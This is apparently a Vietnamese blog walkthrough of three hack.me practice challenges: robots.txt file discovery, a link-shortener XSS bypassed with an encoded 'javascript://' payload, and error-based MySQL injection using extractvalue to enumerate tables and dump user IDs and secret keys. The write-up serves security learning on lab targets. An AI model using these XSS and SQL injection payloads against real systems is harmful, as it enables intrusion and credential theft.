Để rèn luyện tay nghề cũng như cập nhập các lỗ hổng hack.me cung cấp cho chúng ta một môi trường test các lỗ hổng bảo mật khá hiệu quả
Từ hôm nay mình sẽ chia sẻ về cách qua các thử thách trên hack.me để các bạn có thể tham khảo từ mức dễ tới khó.
1: robots.txt vulnerability
Url: http://s117807-103161-qom.croto.hack.me/
cái tên nói lên tất cả chúng ta phải đọc robots.txt xem sao.
Chúng ta thấy dòng sau
Disallow: ;return*&:: /login.txt
Disallow: ;bio*&:: /database.txt
Giờ đọc 2 file này xem có gì.
Nhìn thấy cái này thì mình thử login kết quả không được đọc lại file robots thì thấy nó có cái
Disallow: ;return*&:: /loginsuccesfully.html
Disallow: ;return*&:: /loginfailed.html
vậy vào thử
Kết quả thành công qua màn siêu dễ.
2: Link Shortening Website XSS
url: http://s117807-103185-zjn.croto.hack.me/
Cái này vào là rút gọn link thì chúng ta thử điền link đúng xem sao
Nhìn code tý.
Như vậy chúng ta cũng thấy cả có gì. thử xem link chuyển hướng kia có gì không.
Chúng ta thấy ở đây thằng chuyển hướng nó có cái thẻ a để chuyển hướng user
root@kali:~# curl http://s117807-103185-zjn.croto.hack.me/?9tz5c8
<a href="https://manhtuong.net/" style="display: none;" />
<script>
document.getElementsByTagName("a")[0].click();
</script>
thử các câu lệnh xss thì không được
sau đó mình nhận ra nó nhận domain phía trước nên không chạy được xss. nên mình dùng trò domain.com/payload_xss và check thì hơi đau buồn
root@kali:~# curl http://s117807-103185-zjn.croto.hack.me/?v7dl0j
<a href="https://manhtuong.net/<script>alert(1);</script>" style="display: none;" />
<script>
document.getElementsByTagName("a")[0].click();
</script>
khá là chán nên tôi đi đọc file link_shortener.js xem nó có gì thì thấy đoạn code sau:
function shortenLink (link) {
$.get("/ajax/shorten.php", {
"link": link
}, null, "text")
.done(handleResponse)
.fail(error.bind(null, null));
}
bắt đầu tìm kiếm google với từ khóa filter URL php thì được cái trang https://secure.php.net/manual/en/filter.filters.validate.php vô đọc một hồi thì nhận thấy các giao thức như ftp cũng được chấp nhận không phải cứ http. nên chuyển hướng qua cái khác. như trên đã test thì chúng ta không thể chạy được các payload bình thường của xss
bây giờ minh thiết kế lại payload thành
javascript://alert('xss')
bị mã hóa :| khá là căng bây giờ các ký tự đặc biệt tôi sẽ mã hóa uri xem sao trước khi submit lên ký tự %0A nghĩa là xuống dòng
javascript://
alert('xss')
javascript://%0Aalert('xss')
lần này đã OK.
3: Hack_My_Microblog
Khi vào mình thấy có ô nickname nên thử payload test đơn giản là 'or 1=1
Okay lỗi ở đây rồi giờ chúng ta tiến hành thử trong ô thougths .
' or extractvalue(rand(),concat(0x3a,version())) or '
Giải thích một chút ở đây mình cần sử dụng output của lỗi mysql để trích xuất dữ liệu nên mình dùng extractvalue Hàm lấy các kết quả được đánh giá của các truy vấn sql của tôi và nối chúng vào lỗi SQL được tạo khi dữ liệu được truyền tới ExtractValue()
Chúng ta hãy xem các bảng mà chúng ta có thể tìm thấy thông qua các ExtractValue()
' or extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,TABLE_NAME) FROM information_schema.TABLES WHERE table_schema=database() LIMIT 0,1))) or '
Thông báo lỗi theo sau cho thấy có một bảng có tên comments_text
không có triển vọng
Tôi sửa lại payload chút
' or extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,TABLE_NAME) FROM information_schema.TABLES WHERE table_schema=database() LIMIT 1,1))) or '
Bây giờ tôi có thông tin tôi mong muốn, rõ ràng tên người dùng và khóa bí mật của chúng tôi sẽ được tìm thấy trong secret! Tiếp theo, tôi cần tìm các cột của bảng để có thể bắt đầu trích xuất dữ liệu
chúng ta sẽ phải lấy dữ liệu trên userid
' or extractvalue(rand(),concat(0x3a,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='secret' LIMIT 1,1))) or '
chúng ta sẽ phải dump data ra
' or extractvalue(rand(),concat(0x3a,(SELECT concat(userid,0x3a,secretkey) FROM secret LIMIT 0,1))) or '
Như vậy bài toán được giải quyết!
Không có nhận xét nào:
Đăng nhận xét